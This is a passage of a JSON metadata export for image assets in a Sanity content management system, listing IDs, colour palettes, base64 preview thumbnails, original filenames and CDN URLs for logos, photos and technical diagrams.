GpbNDBpJ9ElEu++zGv1mbQ15sncrtUwiHXARsfQfNjc6YTstgWqObNaN5g+lcZC2W12L7Ct/N2HkWVbSgDGektkXsSfJYUCQBuyRFRAXBqkDz4xOOp5g5FVPnMgmFF1+inhHrE1F6Yp0cOAQzmkCnXAfk2z3bXJEfXtnuG0SiuFRnBwotjFtWiwzHTDBmG6ZOTiBb4gxkdibZnknTkiIweF3cooLBdW/7vEJmr7hCMXVrTKdm7jZoq6hBzGOcccBoIphYG/yoIU7P/4Untusd9bLHybzhOPuC8ofs5AY3vFRUoU9LRlaFYddooTwSiopAFHiixJeXTzki038XrrOWfbSitW5h8oazeYNye+zXKSvZXiX9aXmVjq2Kv4EaJElZa7QNAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4048","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#814303","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#959bc0","foreground":"#000","population":1.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#959bc0","foreground":"#000","population":1.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdc7c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#80838c","foreground":"#fff","population":0.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f99125","foreground":"#000","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"meta-image.png","path":"images/sczeoy4w/production/ba96fbdf0a3b50d5e31c0d9d5480e2601749f14c-1200x630.png","sha1hash":"ba96fbdf0a3b50d5e31c0d9d5480e2601749f14c","size":194651,"uploadId":"uEpnxAfRAWkfFVZ9EoFn5INZqG3h4lCn","url":"https://cdn.sanity.io/images/sczeoy4w/production/ba96fbdf0a3b50d5e31c0d9d5480e2601749f14c-1200x630.png"} {"_createdAt":"2024-06-13T08:34:57Z","_id":"image-99257ec64b1db98d0200affc7cf3d6c93fd42df3-2048x1365-jpg","_rev":"p92WeIHLmx3eRj4ziDT2pJ","_type":"sanity.imageAsset","_updatedAt":"2024-07-03T07:24:23Z","altText":null,"assetId":"99257ec64b1db98d0200affc7cf3d6c93fd42df3","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VYJbXOpfK*n3ROX:r;Q,o}bbM_acniX9jvnNR%W=n*oz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5003663003663004,"height":1365,"width":2048},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHBAX/xAAfEAACAQQDAQEAAAAAAAAAAAABAgMABAUREiExQRX/xAAVAQEBAAAAAAAAAAAAAAAAAAAABP/EABwRAAICAgMAAAAAAAAAAAAAAAECAAQDMQUSE//aAAwDAQACEQMRAD8AqVri7NUAeLnoDW65V5kbX9G6sWWFQEIQ775VvyAZsbK6uyPGOakH6Kj6ZWWTM2cMyq7Gftx0SSftVXcxwlQo3HGVFso7OdCPFxip4pNW80kaEb4r5uimC4fUvg8op6SHpP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353841","foreground":"#fff","population":3.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#602b25","foreground":"#fff","population":1.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ac3f35","foreground":"#fff","population":7.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#99b6c7","foreground":"#000","population":5.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1d2fc","foreground":"#000","population":2.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b06556","foreground":"#fff","population":3.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac3f35","foreground":"#fff","population":7.42,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"Verena-Schustereder.jpeg","path":"images/sczeoy4w/production/99257ec64b1db98d0200affc7cf3d6c93fd42df3-2048x1365.jpg","sha1hash":"99257ec64b1db98d0200affc7cf3d6c93fd42df3","size":254373,"title":null,"uploadId":"AQTnPndsiBShIJWAdAxWhZj2U379PEB8","url":"https://cdn.sanity.io/images/sczeoy4w/production/99257ec64b1db98d0200affc7cf3d6c93fd42df3-2048x1365.jpg"} {"_createdAt":"2024-07-03T07:36:57Z","_id":"image-d358d8efb0b71d0745d584c5d225e037dca20c8d-820x92-png","_rev":"YaKEzcVhnb7P0fmfvFV1Eb","_type":"sanity.imageAsset","_updatedAt":"2024-08-02T08:12:05Z","altText":"Back Market logo","assetId":"d358d8efb0b71d0745d584c5d225e037dca20c8d","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4009jvfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":8.91304347826087,"height":92,"width":820},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAJnKAACZygHjkaQiAAAAV0lEQVQImS3MOwqDUBhE4W+XgloI4iMoJiqolWmzgHQp07lKufAXh2GYB1z44YMTE2qUKFAhQ4cj6INHaIsBC/zxxRs71iAdNzHI43yM0RydlL2w4Zn8DZsJEbDbDqcdAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.81,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-back-market.png","path":"images/sczeoy4w/production/d358d8efb0b71d0745d584c5d225e037dca20c8d-820x92.png","sha1hash":"d358d8efb0b71d0745d584c5d225e037dca20c8d","size":9986,"title":null,"uploadId":"YpZtPHXOICNGiWsPUEKGIetHMXmbDi7n","url":"https://cdn.sanity.io/images/sczeoy4w/production/d358d8efb0b71d0745d584c5d225e037dca20c8d-820x92.png"} {"_createdAt":"2024-10-30T23:44:51Z","_id":"image-e9bd0300b1a4105692a4f809719ffb0f1f9ba66e-1200x628-png","_rev":"ZxCjdMWwjhy9DmKAIi18Tz","_type":"sanity.imageAsset","_updatedAt":"2024-10-30T23:44:51Z","assetId":"e9bd0300b1a4105692a4f809719ffb0f1f9ba66e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA7K.RnvM_ocRQ_4WUM{j]RkaeoMoKf9jX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACY0lEQVR4nGXPaU8TURiG4fkFrO1Mp51OO5122kILiBIwimxSoNRuFIpYoojsi0XZKTtNxJAaBBFcEhN/6G06hETjhyc5503OdZ5XqLINIaqjyFoOxTuByz+FKzCLFlzCHcyj1a+ihzbxNhQwmg7xNR3jbTxGD+/jCe1i3Ds0owa3kPVVBFHN0tAyx6PuVToi23QP7NITPaB74Jj23iO6oh/oS5ToS5zTG7+gJ3ZJZ/QznQOf6Ogv0Z+6IpK4oqGtiMO3hSCpo7R15Ikm9xhMHRFNHhNNFolnPjI4dEYie87w+FcyuRuGct9Jj/0gnr3h2cgXkqPXjE3+JjX2i+bHJdTgCYLozNL8cJGu/i16ogWe9O7Q/nSXSKxIX/yUvsQZscw5scwl8ZFrExtIXxCJl4gOXZAa+0kk+Y1wWwl36AyhWs5g97zAHZjAUzeFFpxBC87ja8jjb1zDaNog2Fyg/sEB4dYi4dYT8240bhBo3qG+5YjA/RM84SJq/SlChZimnEppmCr5OTX2HDWOV1icU1jVOUT3EjZtBZu+ht23jezdRNLeIroXkcz5BrJ3C4exi7O88h1YIWaolEaplv8HJW3ZfCzr68jedUQTXDI/cRgFE7P7dlD8+whVUhqrnEZSsohqDovykhrHxF/gIlbXAlbXvAlJnhVEbdk8l9sqgUMTKreU9Q0Eiy2FV01TFxjHCE3j8L6hVnlNbRl03YHzWJzTt6h72YzkeYfdKKAEjsyGsr6GzfMeoVZK4XamMXw59Lop7Poktcq/DUX3AhZ1Bqs6e4tp+dt1/Xso/kNz3TJWBv8APaVlFev9lz8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4674","foreground":"#fff","population":0.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142470","foreground":"#fff","population":11.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142470","foreground":"#fff","population":11.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5daea","foreground":"#000","population":6.63,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#777bc7","foreground":"#fff","population":0.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697096","foreground":"#fff","population":1.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":7.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover (7).png","path":"images/sczeoy4w/production/e9bd0300b1a4105692a4f809719ffb0f1f9ba66e-1200x628.png","sha1hash":"e9bd0300b1a4105692a4f809719ffb0f1f9ba66e","size":176369,"uploadId":"GOxPpy0WcRNoHwWB14R4ZIa31YxEJyIf","url":"https://cdn.sanity.io/images/sczeoy4w/production/e9bd0300b1a4105692a4f809719ffb0f1f9ba66e-1200x628.png"} {"_createdAt":"2024-10-29T14:10:24Z","_id":"image-2f580bda8a70a6fdfcd33ac848297c5cd7714412-680x502-jpg","_rev":"EyufRNy5j0xIBEOcdqSFLZ","_type":"sanity.imageAsset","_updatedAt":"2024-10-29T14:10:24Z","assetId":"2f580bda8a70a6fdfcd33ac848297c5cd7714412","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6D96V02M[$_IAMdt9t8so%M04~B$%9aWBPC-OV?x^9t","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3545816733067728,"height":502,"width":680},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYEBQf/xAAiEAACAgICAgIDAAAAAAAAAAABAgMEABEFBhQhEyIxQYH/xAAWAQEBAQAAAAAAAAAAAAAAAAADBAX/xAAdEQABBAIDAAAAAAAAAAAAAAABAAIDERIhE0JS/9oADAMBAAIRAxEAPwDF6M/LpIUW1ZXR0fWN9Lr8dmvM17kWBjAZokG3f+Yq9Qt+fywrRM8ewWdiSToY1cZ2arxl+MPS8lzJqaVj9in6wpORzNGk0VbLtq1p9P6/bh+WaQKxP4kY7wyB2TlN8mzQWnijZQwVE9e8MzcJT3KsqPyF/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b4a33","foreground":"#fff","population":2.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b5418","foreground":"#fff","population":0.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c8b5a9","foreground":"#000","population":2.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8b5a9","foreground":"#000","population":2.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eec278","foreground":"#000","population":0.51,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#977058","foreground":"#fff","population":1.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b87a25","foreground":"#fff","population":1.55,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"TRV.jpg","path":"images/sczeoy4w/production/2f580bda8a70a6fdfcd33ac848297c5cd7714412-680x502.jpg","sha1hash":"2f580bda8a70a6fdfcd33ac848297c5cd7714412","size":147200,"uploadId":"oNnLF8HwbqrDI8OXfVOMdBNClcZC8ODB","url":"https://cdn.sanity.io/images/sczeoy4w/production/2f580bda8a70a6fdfcd33ac848297c5cd7714412-680x502.jpg"} {"_createdAt":"2024-10-30T23:41:12Z","_id":"image-4a7ef7fcb22bb8ea8a9f54875d7d3852660aa014-2416x854-png","_rev":"EXzA9uxcM5girV4aqh7A5C","_type":"sanity.imageAsset","_updatedAt":"2024-10-30T23:41:12Z","assetId":"4a7ef7fcb22bb8ea8a9f54875d7d3852660aa014","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D76a^:.Ax^t7V?j?j?j?ayj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.82903981264637,"height":854,"width":2416},"exif":{"PixelXDimension":2416,"PixelYDimension":854,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABWElEQVR4nHWQwY7TQBAF/T+enpkeO4HdOCT22rFnHG+0YaUgBEIIISG4gDjw+YXsREh74FC37up+L+vjyBBH2kOkaXvqh45d/cD9ZouGgIjFO0VdwDuPiJDn+X/J+iGRxokhJtpDT9N27JtZWOE1YIzgrEddgTrFOotYs4jFCiLmpbDuT6TThen8nvh4oRuf2Xcn7qoGrwV5bhBjUV9QaIl6j/MOf8O5l9Jsm74QL784ffxDfPeb+vyT6viNV/szPqwxeY4YWWIHLVCvOOtuWOwiFHJzlWa79Inh+TvHyw+6p69s02c2/Qde745osV6GrViCD5ShJKjinMXOsoVrdCOCMYasHR6J01vS9MQhTtRd5E194L7aEYrVv8VZuC7XrMoSDR6vt8hLbHvtVISs7SNDOhLTSJ8SXT9QNy13mwoNxTI0X3bilg6LYoUGxXm7YGfmD41ZPvwLg7jnZZl99+gAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353e20","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#263c9c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3260bb","foreground":"#fff","population":2.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9c9da0","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#769be4","foreground":"#000","population":0.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#44577e","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3260bb","foreground":"#fff","population":2.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"project_structure.png","path":"images/sczeoy4w/production/4a7ef7fcb22bb8ea8a9f54875d7d3852660aa014-2416x854.png","sha1hash":"4a7ef7fcb22bb8ea8a9f54875d7d3852660aa014","size":218851,"uploadId":"jjG6ZDyC84mQQIkC0HJfSH4olNtP1SOL","url":"https://cdn.sanity.io/images/sczeoy4w/production/4a7ef7fcb22bb8ea8a9f54875d7d3852660aa014-2416x854.png"} {"_createdAt":"2024-10-30T23:41:13Z","_id":"image-a0e8272638c63b879cb9c4d08587873790d721fc-2094x228-png","_rev":"EXzA9uxcM5girV4aqh7Agw","_type":"sanity.imageAsset","_updatedAt":"2024-10-30T23:41:13Z","assetId":"a0e8272638c63b879cb9c4d08587873790d721fc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"414ec+_3ohait8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":9.18421052631579,"height":228,"width":2094},"exif":{"PixelXDimension":2094,"PixelYDimension":228,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAVUlEQVR4nIXNSw6AIAwAUU8CgSKtIhA/97/aGI1xZ1y87cxQ5xUdFyRmJEZEIpIS6SEirxAC3nucc5+GfTuotWFq5JyxyWit0XunlIKZoaq3a/AXPAHAvDiDk4/TdQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2351","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34245c","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c2351","foreground":"#fff","population":0.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acabaf","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b09fd9","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#706c7c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6747b7","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"trust_key_stores.png","path":"images/sczeoy4w/production/a0e8272638c63b879cb9c4d08587873790d721fc-2094x228.png","sha1hash":"a0e8272638c63b879cb9c4d08587873790d721fc","size":109617,"uploadId":"2vFPmvFoXPxrSeW8EIDlcgo83fQ5bUHA","url":"https://cdn.sanity.io/images/sczeoy4w/production/a0e8272638c63b879cb9c4d08587873790d721fc-2094x228.png"} {"_createdAt":"2024-10-30T23:41:12Z","_id":"image-011e7af7d6b902036dc3fa79b5fe74e7f2afb29f-2738x936-png","_rev":"EyufRNy5j0xIBEOce3Pa4T","_type":"sanity.imageAsset","_updatedAt":"2024-10-30T23:41:12Z","assetId":"011e7af7d6b902036dc3fa79b5fe74e7f2afb29f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D8SijYWADR$,NF~qV@RiaxaL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.925213675213675,"height":936,"width":2738},"exif":{"PixelXDimension":2738,"PixelYDimension":936,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABCElEQVR4nF2R7W7DIAxF8/7v2H+bVClpGxLwJ3Ank7RbhnSFBOhwbE/z7Yb71zdS2kDEYGaoCEwNqjri7mitXVJrHXF3iAiYZbydlvuMZX5i3wtYZFy+QWpHzA3eHLXVD9DMwawg1rGrGtwrpudrx7pmlMxgUYjKCAuDlEBGICdwZVgztN7Qex/AnBlpY+w5gPFZx/R4JKSUQRQghZxWASxaRga0EqwbOjpihU0ujDUxtj2A0ZYTuG0FRGFnR4lqv0AjsPMw9O5XYCa8VkLaQqYO8xNIH+AwjF0FZDxgUgXS5B/Qr4Z2lrws69HDEsNwqBssJucKqodZJKB/exgTjp7nrCByuB/nP3wSIoUubVuuAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67201d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b0d5b5","foreground":"#000","population":0.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0d5b5","foreground":"#000","population":0.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc848c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#777d7f","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6726e","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"generated_data.png","path":"images/sczeoy4w/production/011e7af7d6b902036dc3fa79b5fe74e7f2afb29f-2738x936.png","sha1hash":"011e7af7d6b902036dc3fa79b5fe74e7f2afb29f","size":333433,"uploadId":"Flc076trZ8DggQHqIRSpzu80lm4lUqqv","url":"https://cdn.sanity.io/images/sczeoy4w/production/011e7af7d6b902036dc3fa79b5fe74e7f2afb29f-2738x936.png"} {"_createdAt":"2024-10-30T23:41:11Z","_id":"image-0adc1c3c06db4ecce4ed600346009bb9d67f3e18-1854x424-png","_rev":"EXzA9uxcM5girV4aqh79mK","_type":"sanity.imageAsset","_updatedAt":"2024-10-30T23:41:11Z","assetId":"0adc1c3c06db4ecce4ed600346009bb9d67f3e18","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D36RM%~qt7ayRjRjxut7WBof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.372641509433962,"height":424,"width":1854},"exif":{"PixelXDimension":1854,"PixelYDimension":424,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAv0lEQVR4nH2QWQqEMBBEcxI33BVcSBTRqAne/0o9VEGGGQbm49FNSFe/RN2nleu6xFor53mKd07u+5Zt22RZFjKOo1RVJUmSSBRFf1HeO3HOMew4DlYsMMZI3/ekbVsGZlkmcRz/hMQfZ+p5HvHe0wqWCEMPs67rGAaappG6rhkMyrJ8UxTFe5lCwL7vX3bhDJaBeZ759GmaWIdhIHgBluV5zi9RMMFlDK3rSjP0qFprYozmcDANwBh2aZoyDIYvDVCaRQt6N4cAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c443c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bbbbbb","foreground":"#000","population":0.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbbbb","foreground":"#000","population":0.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7474","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"docker_pull.png","path":"images/sczeoy4w/production/0adc1c3c06db4ecce4ed600346009bb9d67f3e18-1854x424.png","sha1hash":"0adc1c3c06db4ecce4ed600346009bb9d67f3e18","size":349493,"uploadId":"E3qrjVIWP75FhsTKRxDN4sPQMM1YdSdW","url":"https://cdn.sanity.io/images/sczeoy4w/production/0adc1c3c06db4ecce4ed600346009bb9d67f3e18-1854x424.png"} {"_createdAt":"2024-10-30T23:41:12Z","_id":"image-1ddf9aa3208ec18e95712915fb077ec78403fec9-2456x1414-png","_rev":"ZxCjdMWwjhy9DmKAIi0kEb","_type":"sanity.imageAsset","_updatedAt":"2024-10-30T23:41:12Z","assetId":"1ddf9aa3208ec18e95712915fb077ec78403fec9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3Ss51RO8{_29GD-I9D*r?xbMwIU8|i_xH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.736916548797737,"height":1414,"width":2456},"exif":{"PixelXDimension":2456,"PixelYDimension":1414,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAABhklEQVR4nIWTaW7cMAyFff9D5Qz9WaRoMEmLzsQz3iRqISX5FaTHyWRpY+DBi8hPj6Tcne6+4+nbDzz8PODhcMDj718Y5hFSGCu2a13Xf4q5Yl4E/SXjcsnohvsjng9HnE49ns9nnIcLpmUBhYCUMnJmpMTIWT5VSowQBJ4ERIJuOE84/unR9wOGccY0LZhmh3Fc7F3v80zwPn4qoogQskEpCDrnA0YDOSyLh/fBgjRY1/SuCepkV4yvz8kcMjwxiBidluUcGXCeHYi0VEbm8lIWczGJ1A9iLuZscQzvr0DvCc55hBDBLChlC1Qn0fqnwFtQQ62vYmlmQGMMqKCcs4F0cm1dDeIpw/kMCowQxRTjllirThkv0pxaKzqdorrSl/0o6KJ+CyGBKF2brkrmWl229vb4tNZQSkGniSJiH24XRcq1/GLONxXb+DZ2fQ9MOSPGZMl7oO6+Q/53qN/DmK9D0ckqdC97A2pQs/K/ht4AtYfbUNh22n41WNP3xn91KVTNaOv+Ah+8qUZ5CCThAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#515153","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e2d69","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#adadd0","foreground":"#000","population":0.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adadd0","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f798d3","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54946c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc2c74","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka_service.png","path":"images/sczeoy4w/production/1ddf9aa3208ec18e95712915fb077ec78403fec9-2456x1414.png","sha1hash":"1ddf9aa3208ec18e95712915fb077ec78403fec9","size":267185,"uploadId":"OWATvfvC5qYqt5zliNR5cPCm9eqqQg6z","url":"https://cdn.sanity.io/images/sczeoy4w/production/1ddf9aa3208ec18e95712915fb077ec78403fec9-2456x1414.png"} {"_createdAt":"2024-11-12T13:55:41Z","_id":"image-11ebb8c48a18a497cf9bd2143e994c05c14118b4-1200x630-png","_rev":"1rO0ipfFxAOuS00jqaRBXA","_type":"sanity.imageAsset","_updatedAt":"2024-11-12T13:55:41Z","assetId":"11ebb8c48a18a497cf9bd2143e994c05c14118b4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9Q9=.0[gP~9R5k65X}hG1Nzxu-nRkIVjF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACcElEQVR4nB3O2XLaBgBAUf7/YzpNmtKWOjXeMBSCxaYN7RuSEBIC7TG+GevhvN65Aze6YR9a7EONEza4UYcXtwTHjsOnpCE4Nph+zWZfIsgVqlWT+CGttaQzZ7Tumjo0KZOQgek1CLsDrwuN+cpiLYesxYCdGiHtY4SdzUIwmS4dFpu0D0pGTRjkVL5GZ83prAVtIFHHNgPdKXiaynwZvvDnaMr4Zcv904qnV5HpQuFuvODr8IW/7gT+X0Xs7QYv6jidO67ZmSbU6Jy3XuuLDHS34Hmm8MffrwxHM0b3S/75b87deMn3xyXD0YTfvo4Z/rtkLUXE0ZXLKeOa